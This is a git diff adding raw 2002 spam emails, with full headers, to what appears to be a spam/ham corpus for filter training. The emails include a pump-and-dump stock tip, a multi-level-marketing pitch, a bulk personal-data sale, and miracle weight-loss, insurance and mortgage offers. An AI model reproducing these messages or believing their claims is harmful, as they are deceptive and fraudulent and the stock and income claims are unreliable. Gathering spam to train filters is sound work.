    +Visa [ ] Mastercard [ ] AmEx [ ] Discover [ ] Diners Club [ ]

    +Name on Credit Card: _______________________________________

    +CC Number: ____________________________ Exp. Date: _________

    +Amount to Charge Credit Card ($295.00 or $499.00): _______________

    +Signature: ________________________________________________

    +=========================================================



    + diff --git a/bayes/spamham/spam_2/00479.84c58aa8adff520d7f58dfde02c1cf10 b/bayes/spamham/spam_2/00479.84c58aa8adff520d7f58dfde02c1cf10 new file mode 100644 index 0000000..bede326 --- /dev/null +++ b/bayes/spamham/spam_2/00479.84c58aa8adff520d7f58dfde02c1cf10 @@ -0,0 +1,157 @@ +From B.Collin@dt.co.kr Mon Jun 24 17:06:47 2002 +Return-Path: B.Collin@dt.co.kr +Delivery-Date: Mon May 27 11:11:58 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4RABve05825 for + ; Mon, 27 May 2002 11:11:57 +0100 +Received: from ns.combiweb.co.kr ([211.42.180.4]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4RABs724304 for + ; Mon, 27 May 2002 11:11:55 +0100 +Received: from itcomp.dabrowa.pl (ALyon-201-1-1-189.abo.wanadoo.fr + [193.251.84.189]) by ns.combiweb.co.kr (8.11.0/8.11.0) with ESMTP id + g4R9gLX12229; Mon, 27 May 2002 18:42:21 +0900 +Message-Id: <0000765e4405$00001a98$00007410@mail.dsv.su.se> +To: +From: "Telcom Services" +Subject: Minimize your phone expenses +Date: Mon, 27 May 2002 02:45:44 -1900 +MIME-Version: 1.0 +X-Mailer: Microsoft Outlook Express +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +Take Control Of Your Conference Calls + + + +

    +

    + + + + = +
    Crystal Clear + Conference Calls
    Only 18 Cents Per Minute!
    +

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    + + + diff --git a/bayes/spamham/spam_2/00480.682829ef5c1f1639f0a060190c5d4b33 b/bayes/spamham/spam_2/00480.682829ef5c1f1639f0a060190c5d4b33 new file mode 100644 index 0000000..a05ec38 --- /dev/null +++ b/bayes/spamham/spam_2/00480.682829ef5c1f1639f0a060190c5d4b33 @@ -0,0 +1,125 @@ +From cvru@hotmail.com Mon Jun 24 17:06:48 2002 +Return-Path: cvru@hotmail.com +Delivery-Date: Mon May 27 11:44:59 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4RAiwe07298 for + ; Mon, 27 May 2002 11:44:58 +0100 +Received: from mail.dxr.com.cn ([218.22.96.3]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4RAis724407 for + ; Mon, 27 May 2002 11:44:56 +0100 +Received: from . [211.21.63.70] by mail.dxr.com.cn with ESMTP + (SMTPD32-7.05) id ACF51005A; Mon, 27 May 2002 18:39:49 +0800 +Message-Id: <000006fb15b6$0000387d$0000462d@.> +To: , +Cc: , +From: cvru@hotmail.com +Subject: Lose 20 Pounds In 10 Days 27540 +Date: Mon, 27 May 2002 06:53:41 -1600 +MIME-Version: 1.0 +Reply-To: cvru@hotmail.com +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + + + + +LOSE WEIGHT FAST + + + + +
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    + + + + + + + + diff --git a/bayes/spamham/spam_2/00481.b6fbd76bcc24999350ae6a3188f3809f b/bayes/spamham/spam_2/00481.b6fbd76bcc24999350ae6a3188f3809f new file mode 100644 index 0000000..7152562 --- /dev/null +++ b/bayes/spamham/spam_2/00481.b6fbd76bcc24999350ae6a3188f3809f @@ -0,0 +1,454 @@ +From rw@insurancemail.net Mon Jun 24 17:06:54 2002 +Return-Path: rw@insurancemail.net +Delivery-Date: Tue May 28 02:16:26 2002 +Received: from insiq4.insuranceiq.com (host66.insuranceiq.com + [65.217.159.66] (may be forged)) by dogma.slashnull.org (8.11.6/8.11.6) + with ESMTP id g4S1GPe13739 for ; Tue, 28 May 2002 02:16:25 + +0100 +Received: from mail pickup service by insiq4.insuranceiq.com with + Microsoft SMTPSVC; Mon, 27 May 2002 21:15:52 -0400 +From: "Rockwood" +To: +Date: Mon, 27 May 2002 21:15:51 -0400 +Subject: Feeling Exposed? +MIME-Version: 1.0 +Message-Id: <296d0a01c205e5$353ec130$3201a8c0@insuranceiq.com> +X-Mailer: Microsoft CDO for Windows 2000 +Thread-Index: AcIF1n4QG6AFiYOnQMO2fPeC1PRD3Q== +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 +Content-Class: urn:content-classes:message +X-Originalarrivaltime: 28 May 2002 01:15:52.0078 (UTC) FILETIME=[355DBAE0:01C205E5] +X-Keywords: +Content-Type: multipart/alternative; boundary="----=_NextPart_000_281518_01C205B4.F6FEA190" + +This is a multi-part message in MIME format. + +------=_NextPart_000_281518_01C205B4.F6FEA190 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: quoted-printable + +=20 +=20 + Feeling +Exposed? +We Cover +Your Assets! =09 +Policies as low as $525 + + + +A+ +Rated +Carrier + + + + +Additional +Coverage Endorsements =09 +=B7 Vicarious Liability +=B7 Financial Products +=B7 Property & Casualty +=B7 Investment Services=20 + +=20 + +As a Life, Accident, Health agent or broker, potential litigation +against you can arise from numerous sources--a dissatisfied +policyholder, insurance carrier, or other third party. You need to be +prepared to defend yourself even against the most unfounded or frivolous +allegations. After surveying hundreds of agents and brokers, Rockwood +Programs Inc. has developed one of the most comprehensive errors and +omissions policies in the industry--the "Rockwood Guardian."=20 + +Policy Highlights =09 +? Limit of liability options available up to 1 million. =09 +? $1.5 million of defense protection in addition to the limit of +liability. Policy deductibles do not apply to defense costs; =09 +? Punitive damage protection (where permissible by law); =09 +? Insolvency of carrier coverage (on carriers rated B+ or higher +by A.M. Best). =09 +? Extended reporting period provision available (free to +retirees); =09 +? Low deductible ($2,500); and =09 +? Short Form Application. =09 + +Call Corlin Hackett, one of our dedicated underwriting professionals, +today at 877-242-2487 and click here + for an +application. We are available to assist you in the enrollment process +and answer any questions regarding the E&O program. + +=20 + +Are you a Life Company President, Sales Manager, Broker-Dealer, or large +GA? Rockwood offers additional services such as sponsored E&O Programs, +compliance, and database development. + +Contact: Call or e-mail +Corlin Hackett 877-242-2487 +? or ?=20 +Please fill out the form below for more information =20 +Name: =09 +E-mail: =09 +Phone: =09 +City: State: =09 + Life/Health Agent Property/Casualty Agent =09 + =09 +=20 +Visit us on the web at www.rockwoodinsurance.com +=20 + +We don't want anyone to receive our mailings who does not wish to +receive them. This is a professional communication sent to insurance +professionals. To be removed from this mailing list, DO NOT REPLY to +this message. Instead, go here: http://www.insurancemail.net +=20 + +Legal Notice =20 + +------=_NextPart_000_281518_01C205B4.F6FEA190 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + +Feeling Exposed? + + + + =20 + + + =20 + + +
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    + =B7 Financial = +Products
    + =B7 Property = +& Casualty
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    +
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    +     		=20 +

    As=20 + a Life, Accident, Health agent or broker, potential = +litigation against=20 + you can arise from numerous sources--a dissatisfied = +policyholder,=20 + insurance carrier, or other third party. You need to be = +prepared=20 + to defend yourself even against the most unfounded or = +frivolous=20 + allegations. After surveying hundreds of agents and = +brokers, Rockwood=20 + Programs Inc. has developed one of the most comprehensive = +errors=20 + and omissions policies in the industry--the = +"Rockwood Guardian."=20 +

    + + =20 + + + =20 + + +
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    =20 + + =20 + + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + +
    •=20 + Limit of = +liability options available up to 1 million.=20 +
    •=20 + $1.5 million = +of defense protection=20 + in addition to the limit of liability. = +Policy deductibles=20 + do not apply to defense costs; = + +
    •=20 + Punitive = +damage protection (where permissible by law);=20 +
    •=20 + Insolvency of = +carrier=20 + coverage (on carriers rated B+ or higher by A.M. = +Best).=20 +
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    + Call Corlin Hackett, one of our dedicated = +underwriting professionals,=20 + today at 877-242-2487 and click=20 + here for an application. We are available to = +assist you=20 + in the enrollment process and answer any questions = +regarding the=20 + E&O program.

    +     =20 +

     

    +
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    Are you a Life=20 + Company President, Sales Manager, Broker-Dealer, or large = +GA? Rockwood=20 + offers additional services such as sponsored E&O = +Programs, compliance,=20 + and database development.

    +

    Contact: Call=20 + or e-mail=20 + Corlin Hackett  877-242-2487
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    + =20 +
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    We=20 + don't want anyone to receive our mailings who does not wish to = +receive=20 + them. This is a professional communication sent to insurance = +professionals.=20 + To be removed from this mailing list, DO NOT REPLY to = +this message.=20 + Instead, go here: http://www.insurancemail.net

    +
    + +
    + Legal Notice = +=20 +
    + + + + +------=_NextPart_000_281518_01C205B4.F6FEA190-- diff --git a/bayes/spamham/spam_2/00482.f839ea522f1ee459661a6b2fbd71e823 b/bayes/spamham/spam_2/00482.f839ea522f1ee459661a6b2fbd71e823 new file mode 100644 index 0000000..36f5a83 --- /dev/null +++ b/bayes/spamham/spam_2/00482.f839ea522f1ee459661a6b2fbd71e823 @@ -0,0 +1,42 @@ +From mort239o@pac21.westernbarge.com Mon Jun 24 17:06:56 2002 +Return-Path: mort239o@pac21.westernbarge.com +Delivery-Date: Tue May 28 06:37:14 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4S5bEe23947 for + ; Tue, 28 May 2002 06:37:14 +0100 +Received: from pac21.westernbarge.com ([67.96.136.21]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4S5bB728236 for + ; Tue, 28 May 2002 06:37:12 +0100 +Date: Mon, 27 May 2002 22:41:35 -0400 +Message-Id: <200205280241.g4S2fZS24792@pac21.westernbarge.com> +From: mort239o@pac21.westernbarge.com +To: qrgpgprrcd@pac21.westernbarge.com +Reply-To: mort239o@pac21.westernbarge.com +Subject: ADV: Extended Auto Warranty -- even older cars... whnyf +X-Keywords: + +Protect yourself with an extended warranty for your car, minivan, truck or SUV. Buy DIRECT and SAVE money! + +Extend your existing Warranty. + +Get a new Warranty even if your original Warranty expired. + +Get a FREE NO OBLIGATION Extended Warranty Quote NOW. Find out how much it would cost to Protect YOUR investment. + +This is a FREE Service. + +Simply fill out our FREE NO OBLIGATION form and +find out. + +It's That Easy! + +Visit our website: +http://hey11.heyyy.com/extended/warranty.htm + + +================================================ + +To be removed, click below and fill out the remove form: +http://hey11.heyyy.com/removal/remove.htm +Please allow 72 hours for removal. + diff --git a/bayes/spamham/spam_2/00483.e583ffb0efd3958cdef2e9f3b043ef0d b/bayes/spamham/spam_2/00483.e583ffb0efd3958cdef2e9f3b043ef0d new file mode 100644 index 0000000..8449e84 --- /dev/null +++ b/bayes/spamham/spam_2/00483.e583ffb0efd3958cdef2e9f3b043ef0d @@ -0,0 +1,61 @@ +From ga4tabi8l67@hotmail.com Mon Jun 24 17:06:50 2002 +Return-Path: ga4tabi8l67@hotmail.com +Delivery-Date: Mon May 27 18:16:38 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4RHGUe22985 for + ; Mon, 27 May 2002 18:16:30 +0100 +Received: from newperseus.play.tld ([194.145.22.211]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4RHGR726106 for + ; Mon, 27 May 2002 18:16:28 +0100 +Received: from mx08.hotmail.com ([172.140.253.253]) by newperseus.play.tld + with Microsoft SMTPSVC(5.0.2195.4453); Mon, 27 May 2002 17:52:50 +0100 +Message-Id: <00002e39639d$00001acd$00005dc7@mx08.hotmail.com> +To: +Cc: , , , , + , , +From: "Sarah" +Subject: Herbal Viagra 30 day trial... ONCXBV +Date: Mon, 27 May 2002 09:58:57 -1900 +MIME-Version: 1.0 +Reply-To: ga4tabi8l67@hotmail.com +X-Originalarrivaltime: 27 May 2002 16:52:51.0320 (UTC) FILETIME=[F03B8780:01C2059E] +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +ViaPro + + +
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     + + + +pmoney + + + + + diff --git a/bayes/spamham/spam_2/00484.602c7afb217663a43dd5fa24d97d1ca4 b/bayes/spamham/spam_2/00484.602c7afb217663a43dd5fa24d97d1ca4 new file mode 100644 index 0000000..d8bf5fa --- /dev/null +++ b/bayes/spamham/spam_2/00484.602c7afb217663a43dd5fa24d97d1ca4 @@ -0,0 +1,167 @@ +From County-Origin.?@dogma.slashnull.org Mon Jun 24 17:06:53 2002 +Return-Path: inquiresto@yahoo.com +Delivery-Date: Tue May 28 01:59:57 2002 +Received: from mail01.svc.cra.dublin.eircom.net + (mail01.svc.cra.dublin.eircom.net [159.134.118.17]) by dogma.slashnull.org + (8.11.6/8.11.6) with SMTP id g4S0xue13025 for ; + Tue, 28 May 2002 01:59:57 +0100 +Message-Id: <200205280059.g4S0xue13025@dogma.slashnull.org> +Received: (qmail 29876 messnum 160913 invoked from + network[159.134.184.96/p96.as2.virginia1.eircom.net]); 28 May 2002 + 00:59:34 -0000 +Received: from p96.as2.virginia1.eircom.net (HELO xzfg.net) + (159.134.184.96) by mail01.svc.cra.dublin.eircom.net (qp 29876) with SMTP; + 28 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+------=_NextPart_000_0066_62CFF34B.9C652FBA-- diff --git a/bayes/spamham/spam_2/00485.94b2cb3aa454e6f6701c42cb1fd35ffe b/bayes/spamham/spam_2/00485.94b2cb3aa454e6f6701c42cb1fd35ffe new file mode 100644 index 0000000..815086c --- /dev/null +++ b/bayes/spamham/spam_2/00485.94b2cb3aa454e6f6701c42cb1fd35ffe @@ -0,0 +1,157 @@ +From Babyface72987@aol.com Mon Jun 24 17:06:59 2002 +Return-Path: Babyface72987@aol.com +Delivery-Date: Tue May 28 08:26:54 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4S7Qre27283 for + ; Tue, 28 May 2002 08:26:53 +0100 +Received: from sntucs2.dominio_ucsur (ucayali.ucsur.edu.pe + [216.244.129.217]) by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with + ESMTP id g4S7Qo728495 for ; Tue, 28 May 2002 08:26:51 + +0100 +Date: Tue, 28 May 2002 08:26:51 +0100 +Message-Id: <200205280726.g4S7Qo728495@mandark.labs.netnoteinc.com> +Received: from aol.com (483.maracay.dialup.americanet.com.ve + [207.191.166.129]) by sntucs2.dominio_ucsur with SMTP (Microsoft Exchange + Internet Mail Service Version 5.5.2653.13) id LYHRQ2DD; Tue, + 28 May 2002 01:58:56 -0500 +From: "Becki" +To: "gjlfblez@yahoo.com" +Subject: Home Loan Alert, 6.25 30 YR Fixed hzo +MIME-Version: 1.0 +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit + + + + + + + + + + + +
      + + + + +
    + + + + + + + +
    +
    + + +
    +     + Dear + Homeowner,
    +
    + 
    +
    + + + *6.25% + 30 Yr Fixed Rate Mortgage
    +
    +
    + Interest + rates are at their lowest point in 40 years! We help you find the + best rate for your situation by matching your needs with hundreds + of lenders! Home Improvement, Refinance, Second + Mortgage, Home Equity Loans, and More! Even with less + than perfect credit! +
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    Lock + In YOUR LOW FIXED RATE TODAY

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    + aNO + OBLIGATION
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    + aFREE + CONSULTATION
    +
    + aALL + CREDIT GRADES ACCEPTED
    +
    + +
    +  
    +
    + + + + + * based on mortgage rate as of 5-15-02 as low as 6.25% see lender + for details
    +     		+
    +  
    +     		+

    + + + H

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    + Apply + now and one of our lending partners will get back to you within + 48 hours. +

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    + + + + + diff --git a/bayes/spamham/spam_2/00488.e88c2c87a3b72ab47b6420b61279242e b/bayes/spamham/spam_2/00488.e88c2c87a3b72ab47b6420b61279242e new file mode 100644 index 0000000..83fc27f --- /dev/null +++ b/bayes/spamham/spam_2/00488.e88c2c87a3b72ab47b6420b61279242e @@ -0,0 +1,94 @@ +From kqpfs@switzerland.org Mon Jun 24 17:07:03 2002 +Return-Path: kqpfs@switzerland.org +Delivery-Date: Tue May 28 14:16:04 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4SDG3e07317 for + ; Tue, 28 May 2002 14:16:03 +0100 +Received: from ns1.lnprice.gov.cn ([202.96.65.180]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4SDFq729626 for + ; Tue, 28 May 2002 14:15:56 +0100 +Date: Tue, 28 May 2002 14:15:56 +0100 +Message-Id: <200205281315.g4SDFq729626@mandark.labs.netnoteinc.com> +Received: from slo.net (202.96.65.185 [202.96.65.185]) by + ns1.lnprice.gov.cn with SMTP (Microsoft Exchange Internet Mail Service + Version 5.5.1960.3) id HHWL5K32; Wed, 20 Mar 2002 04:20:00 +0800 +From: "Shanelle" +To: "jyvosisnw@msn.com" +Subject: This Stock Rumored to FLY +Content-Type: text/plain; charset="us-ascii";format=flowed +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Keywords: +Content-Transfer-Encoding: 7bit + +SPECIAL SITUATION ALERTS HOT PICK OF THE YEAR + +Environmental Remediation Holding Corp. (OTCBB: ERHC) + +URGENT BUY: $ .17 + +SELL TARGET: $1.25 + +INVESTOR ALERT: ERHC enters into joint-venture license agreement +with SCHLUMBERGER LTD (NYSE: SLB, $60) and BAKER HUGHES, INC. +(NYSE: BHI, $40) for seismic data on some of the richest offshore +oil blocks where ERHC controls a huge working interest! + +INVESTORS - WE HAVE FOUND THE HIDDEN GEM: (OTCBB: ERHC)! + +ERHC's joint-venture with SCHLUMBERGER and BAKER HUGHES puts them in +world-class company with these leaders in oil exploration and reservoir +imaging services. The involvement of SLB and BHI reinforces the +$MULTI-BILLION DOLLAR VALUE that has been placed in this offshore +drilling haven. ERHC's goal is to maximize shareholder value from +existing contractual rights, making them a significant player in +this region. + +THE BIG MONEY ROLLS IN: + +The seismic data from this joint-venture is being made available for +further involvement by the LARGEST OIL COMPANIES IN THE WORLD over +the next 2 weeks!! +Bidding wars have already developed between major oil companies suchas: +SHELL, CHEVRON/TEXACO, CONOCO, EXXON/MOBIL, PHILIPS, and MARATHON who +are willing to pay $Hundreds of Millions to drill in these zones and +partner with ERHC. + +STOCK SET TO EXPLODE ON EARNINGS BOOM: + +ERHC's exclusive right to participate in exploration and production +along with OIL INDUSTRY GIANTS could be worth up to $FIFTY MILLION +as these oil blocks are adjacent to Billion Barrel producing regions! + +SPECIAL SITUATION ALERTS' newsletter offers valuable research that +builds your wealth. We target serious gains for serious investors +with a 700% investment return on ERHC. + + +DISCLAIMER: Certain statements contained in this newsletter may be +forward-looking statements within the meaning of The Private Securities +Litigation Reform Act of 1995. These statements may be identified by +such terms as "expect", "believe", "may", "will", and "intend" or +similar terms. We are NOT a registered investment advisor or a broker +dealer. This is NOT an offer to buy or sell securities. No +recommendation that the securities of the companies profiled should be +purchased, sold or held by individuals or entities that learn of the +profiled companies. This is an independent electronic publication that +was paid $10,000 by a third party for the electronic dissemination of +this company information. Be advised that investments in companies +profiled are considered to be high-risk and use of the information +provided is for reading purposes only. If anyone decides to act as an +investor they are advised not to invest without the proper advisement +from an attorney or a registered financial broker, if any party decides +to participate as an investor then it will be that investor's sole risk. +Be advised that the purchase of such high-risk securities may resultin +the loss of some or all of the investment. The publisher of this +newsletter makes no warranties or guarantees as to the accuracy or the +completeness of the disclosure. Investors should not rely solely on the +information presented. Rather, investors should use the information +provided in this newsletter as a starting point for doing additional +independent research on the profiled companies in order to allow the +investor to form their own opinion regarding investing in the profiled +companies. Factual statements made about the profiled companies are made +as of the date stated and are subject to change without notice. +Investing in micro-cap securities is highly speculative and carries an +extremely high degree of risk. diff --git a/bayes/spamham/spam_2/00490.09cc8eacfd07338802c3ea0e7f07fe26 b/bayes/spamham/spam_2/00490.09cc8eacfd07338802c3ea0e7f07fe26 new file mode 100644 index 0000000..8a117c7 --- /dev/null +++ b/bayes/spamham/spam_2/00490.09cc8eacfd07338802c3ea0e7f07fe26 @@ -0,0 +1,86 @@ +From asturo1265r24@msn.com Mon Jun 24 17:06:50 2002 +Return-Path: asturo1265r24@msn.com +Delivery-Date: Mon May 27 21:35:55 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4RKZse30636 for + ; Mon, 27 May 2002 21:35:54 +0100 +Received: from msn.com (212-170-13-113.uc.nombres.ttd.es [212.170.13.113]) + by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with SMTP id g4RKZn726773 + for ; Mon, 27 May 2002 21:35:51 +0100 +Received: from unknown (HELO mailout2-eri1.midsouth.rr.com) (62.1.195.96) + by rly-xr01.mx.aol.com with local; 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Tue, 28 May 2002 14:49:41 +0100 +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4SDnc729732 for + ; Tue, 28 May 2002 14:49:40 +0100 +Received: from ns.datacommarketing.com ([65.118.38.236]) by webnote.net + (8.9.3/8.9.3) with SMTP id OAA05361 for ; + Tue, 28 May 2002 14:49:33 +0100 +From: md2002@datacommarketing.com +Content-Type: text/plain; charset=us-ascii +Message-Id: <4y1n6r5ttw7ppc78kw.wng64c5d22ip81m@ns.datacommarketing.com> +Reply-To: md2002@datacommarketing.com +To: yyyy@netnoteinc.com +X-Mailer: X-Mailer: Microsoft Outlook Express 5.00.2919.6700 +Subject: The product they dont want you to have... +Date: Tue, 28 May 2002 10:11:13 -0500 +X-Keywords: +Content-Transfer-Encoding: 7bit + +<<< SPECIAL REVISED PRICE AS OF 5/24/2002 - HURRY QUANITIES WILL BE LIMITED >>> + + +Attention: Are you buying from the "Information America" type companies for .10-.15 cents per record, we sell the same types of data for 1000's of records per penny! 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IZ1 + diff --git a/bayes/spamham/spam_2/00492.3052cad36d423e60195ce706c7bc0e6f b/bayes/spamham/spam_2/00492.3052cad36d423e60195ce706c7bc0e6f new file mode 100644 index 0000000..d74dfb6 --- /dev/null +++ b/bayes/spamham/spam_2/00492.3052cad36d423e60195ce706c7bc0e6f @@ -0,0 +1,112 @@ +From sej3451840n22@excite.com Mon Jun 24 17:07:53 2002 +Return-Path: sej3451840n22@excite.com +Delivery-Date: Wed May 29 03:57:36 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4T2vZO15820 for + ; Wed, 29 May 2002 03:57:35 +0100 +Received: from excite.com (host170-69.pool21756.interbusiness.it + [217.56.69.170]) by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with SMTP + id g4T2vU700384 for ; Wed, 29 May 2002 03:57:31 +0100 +Reply-To: +Message-Id: <003b37a44b8d$2287d4a3$3cd21bc6@vmhnej> +From: +To: Join.for.Free@mandark.labs.netnoteinc.com +Subject: Free to Join! +Date: Tue, 28 May 0102 21:38:11 +0500 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: QUALCOMM Windows Eudora Version 5.1 +Importance: Normal +X-Keywords: +Content-Transfer-Encoding: 8bit + +Greetings - + +I understand you are interested in making some money, and thought +you might be interested in this. + + A few months back I joined a program and then...promptly forgot +about it. You may have done this yourself sometime...you intend +to work the program but then get caught in your day-to-day +activities and it's soon forgotten. + +The program was free to join so maybe I just didn't take it very seriously. + +Anyway, near the end of May I received a letter from my +sponsor (Vic Patalano) informing me that I had more than 1000 +PAID members in my group! + + As you can imagine, I was very skeptical. After all, how could I +have more than 1000 paid members under me in a program that I had +never promoted? + +I took the time to check out the site...then wrote to Vic asking +for confirmation that these were paid members and not just free +sign-ups...like me :) + +Well, it was true...I had over 1000 paid members in my group. This +is a program that I had never worked! + + All I had to do was upgrade to a paid membership before the end +of the month and I would have my position locked in and a group of over 1000 + people. + + You can bet I wasted no time in getting my membership upgraded! + +I can tell you, if I had known what was happening with this program, + I would have become an active paid member months ago! + + With this program, you will get a HUGE group of PAID MEMBERS. +My sponsor's check, which is a minimum of $5,000, arrives every +month...on time. + +How would you like to lock your position in FREE while you check +out this opportunity and watch your group grow? + +To grab a FREE ID#, simply reply to: sejr102@yahoo.com +and write this phrase: + +"Email me details about the club's business and consumer opportunities" +Be sure to include your: +1. First name +2. Last name +3. Email address (if different from above) + +Once I receive your reply, I will submit your information and you +will receive an e-mail titled "your name, Activate Your FREE Membership Today!" You will then need to confirm your FREE Membership. +We will then send you a special report, along with your Free Membership ID Number and also let you know how you can keep track of your growing group, then you can make up your own mind. + +That's all there is to it. + +Warm regards, + +Sean + + P.S. After having several negative experiences with network +marketing companies I had pretty much given up on them. +This company is different--it offers value, integrity, and a +REAL opportunity to have your own home-based business... +and finally make real money on the internet. + +Don't pass this up..you can sign up and test-drive the +program for FREE. All you need to do is get your free +membership. + + +============================================================================ + +========= +"This email is sent in compliance with strict anti-abuse and NO SPAM +regulations. The message was sent to you as a response to your ad, an opt-in +opportunity, your address was collected as a result of you posting to one of +my links, reviewing your web site, you answering one of my classified ads, +you have sent me an E-mail, or you unknowingly had your e-mail added to an +opt-in mailing list. You may remove your E-mail address at no cost to you +whatsoever, simply send an e-mail to sejr102@yahoo.com with subject, “remove me” ============================================================================ +========= + + + +0805wSRp6-561vfdn8353FvPk0-290xryS2l33 diff --git a/bayes/spamham/spam_2/00493.a80f4bf204e9111b0dd1d14bf393b754 b/bayes/spamham/spam_2/00493.a80f4bf204e9111b0dd1d14bf393b754 new file mode 100644 index 0000000..11710fd --- /dev/null +++ b/bayes/spamham/spam_2/00493.a80f4bf204e9111b0dd1d14bf393b754 @@ -0,0 +1,152 @@ +From oa1t@mailexcite.com Mon Jun 24 17:07:33 2002 +Return-Path: oa1t@mailexcite.com +Delivery-Date: Tue May 28 18:21:20 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4SHLHe19023 for + ; Tue, 28 May 2002 18:21:18 +0100 +Received: from enigma.hawaii.rr.com (a24b25n236client39.hawaii.rr.com + [24.25.236.39]) by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP + id g4SHLE730867 for ; Tue, 28 May 2002 18:21:15 +0100 +Date: Tue, 28 May 2002 18:21:15 +0100 +Message-Id: <200205281721.g4SHLE730867@mandark.labs.netnoteinc.com> +Received: from yosyx.worldnet.att.net ([66.134.56.234]) by + enigma.hawaii.rr.com; Tue, 28 May 2002 02:54:23 -1000 +From: oa1t@mailexcite.com +To: yyyy@netnoteinc.com, joe@specent.com, inna@neo.rr.com, + barkman436@yahoo.com, befatta885@yahoo.com +Reply-To: unhamburg461@excite.com +Subject: Financial Opportunity [6bftc] +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) +X-Keywords: +Content-Type: text/html; charset=ISO-8859-1 + + +
    + +There are more financial opportunities out there than ever +before. The majority of those that succeed don't follow the +rules, they bend them, avoid them or go around them.

    + +Freedom 55 is for the suckers. You don't have to work 40 to +60 hours a week for 40 years all to make someone else wealthy. +We have a better way!

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      +
    • Are You Interested In creating immediate wealth?

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    + + +
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    Name   
    Address   
    City   
    State    + +
    + +    		 + + + + + + +
    Zip Code   
    Home Phone   
    Time to Contact   
    E-Mail   
    + +
    Desired Monthly Income    + +



    + +
    + +----------
    +To receive no further offers from our company regarding +this subject or any other, please reply to this +e-mail with the word 'Remove' in the subject line.

    + +
    + + +oa1t + diff --git a/bayes/spamham/spam_2/00494.6d13d2217c5cc00c26b72d97c7fe6014 b/bayes/spamham/spam_2/00494.6d13d2217c5cc00c26b72d97c7fe6014 new file mode 100644 index 0000000..5d96d41 --- /dev/null +++ b/bayes/spamham/spam_2/00494.6d13d2217c5cc00c26b72d97c7fe6014 @@ -0,0 +1,81 @@ +From judithsteele@asean-mail.com Mon Jun 24 17:07:00 2002 +Return-Path: judithsteele@asean-mail.com +Delivery-Date: Tue May 28 10:59:11 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4S9x9e32410 for + ; Tue, 28 May 2002 10:59:09 +0100 +Received: from mail.wongfaye.com (pa155.miedzyrzecz.sdi.tpnet.pl + [217.96.169.155]) by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with SMTP + id g4S9ww728842 for ; Tue, 28 May 2002 10:59:00 +0100 +From: judithsteele@asean-mail.com +Received: from mail.wongfaye.com by 2DCM2OQF03.mail.wongfaye.com with SMTP + for ; Tue, 28 May 2002 10:46:27 -0800 +X-Priority: 3 (Normal) +Message-Id: <75VH0D5FRH.8SMF7A43K.judithsteele@asean-mail.com> +X-Mailer: BellSouth.net EMRS Mailer +Reply-To: raymondo66@virtual-mail.com +Date: Tue, 28 May 2002 10:46:27 -0800 +Subject: 70 percent off your life insurance get a free quote instantly. +X-Sender: judithsteele@asean-mail.com +X-Keywords: +Content-Type: text/html; charset=us-ascii +Content-Transfer-Encoding: 7bit + + + + + + + +
    +

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    +
    + _____________________________________________________________________________________________

    + + + + +
